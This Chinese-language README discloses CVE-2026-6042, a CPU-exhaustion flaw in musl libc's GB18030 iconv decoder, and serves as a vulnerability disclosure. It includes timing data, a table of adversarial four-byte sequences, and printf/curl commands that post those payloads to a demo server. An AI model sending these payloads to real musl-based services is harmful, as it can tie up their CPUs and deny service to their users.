iconv 中的算法复杂度拒绝服务(DoS)musl 的 iconv GB18030 4字节解码器中的间隙跳过循环(gap-skipping loops)允许少量精心构造的输入消耗不成比例的CPU时间。一个40 KB的对抗性载荷可以使单个CPU核心满载运行超过40分钟。
与公告所述相反,此漏洞的攻击向量显然是网络而非本地。这源于VulDB实际上并不理解他们所分配的漏洞。
CVSS 3.1 向量:AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5(高危)
| 字段 | 详情 |
|---|
| 受影响软件 | musl libc(iconv 实现) |
| 受影响的编码 | GB18030(4字节序列) |
| 类型 | 算法复杂度 / 拒绝服务 |
| 已确认版本 | musl 1.2.5(Alpine 3.21)、musl 1.2.6(源码编译) |
| 可能受影响 | 自引入GB18030和UHC/CP949支持以来的所有musl版本 |
| 攻击面 | 任何基于musl的服务,只要对使用这些编码的不可信输入调用 iconv() |
musl中的GB18030 4字节解码器(src/locale/iconv.c,大约第434-442行)将4字节输入序列转换为线性索引,然后通过间隙跳过循环将该索引映射到Unicode码点。对于每个解码字符,内层循环遍历整个 gb18030[126][190] 表(23,940个条目),以计算在滑动范围内有多少个2字节映射的码点。
字节序列 82 35 8F 33 产生线性索引19,171,恰好落在密集的CJK统一表意文字范围(U+4E00-U+9FBD,约20,902个条目)之下。间隙跳过循环随后必须逐个条目地遍历整个密集块,运行约20,905次外层迭代,每次迭代扫描全部23,940个表条目。这相当于每个输入字符约5亿次比较。
由于开销随输入中对抗性字符的数量线性增长,且每个字符独立触发完整的内层循环,总工作量是 O(n * k^2),其中 n 是输入字符数,k 是查找表的大小。
任何基于musl的系统(Alpine Linux、Void Linux、postmarketOS、嵌入式/容器镜像等)上运行的服务,只要通过 iconv() 对用户提供的输入进行GB18030或EUC-KR转码,都容易受到拒绝服务攻击。
单核心上的预计时间(在Alpine 3.21 / musl 1.2.5上测量):
| 输入 | 时间 |
|---|---|
| 1个对抗性字符(4字节) | ~0.26秒 |
| 100个字符(400字节) | ~26秒 |
| 1,000个字符(4 KB) | ~4.3分钟 |
| 10,000个字符(40 KB) | ~43分钟 |
作为对比,100个良性GB18030字符在微秒级内即可完成解码。
| 文件 | 描述 |
|---|---|
poc_gb18030_dos.c | 独立PoC:通过 iconv() 对良性vs对抗性GB18030解码进行计时 |
server.c | 极简HTTP服务器,通过 iconv() 转码POST请求体,模拟真实攻击面 |
Dockerfile | Alpine Linux容器镜像,用于构建并运行易受攻击的服务器 |
test.sh | 端到端测试脚本:向服务器发送良性和对抗性载荷并比较响应时间 |
iconv 计时)在任何基于musl的系统上构建并运行:
# 在Alpine Linux上
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
或通过Docker:
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
预期输出:良性字符在微秒级内完成解码;单个对抗性字符(82 35 8F 33)耗时约0.26秒。
构建并启动易受攻击的服务器:
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
在另一个终端中,运行测试脚本:
./test.sh
或手动发送载荷:
# 良性:100个字符,应立即返回
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# 对抗性:仅5个字符,应耗时超过1秒
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
X-Transcode-Time 响应头报告了在 iconv() 内部花费的时间。
下面的截图显示了对抗性输入对Docker服务器的线性扩展:20个字符(80字节)耗时约5.2秒,80个字符(320字节)耗时约20.8秒,160个字符(640字节)耗时约41.5秒。

| 序列 | 线性索引 | 行为 |
|---|---|---|
81 30 81 30(良性) | 128 | 低码点;间隙跳过循环快速终止 |
82 35 8F 33(对抗性) | 19,171 | 恰好落在密集CJK块之下;触发约5亿次比较 |
82 35 90 30(对抗性) | ~19,200 | 相同区域,类似开销 |
本仓库发布用于安全研究和负责任披露目的。代码仅用于复现和验证CVE-2026-6042。请勿将其用于您不拥有或未经明确授权测试的系统。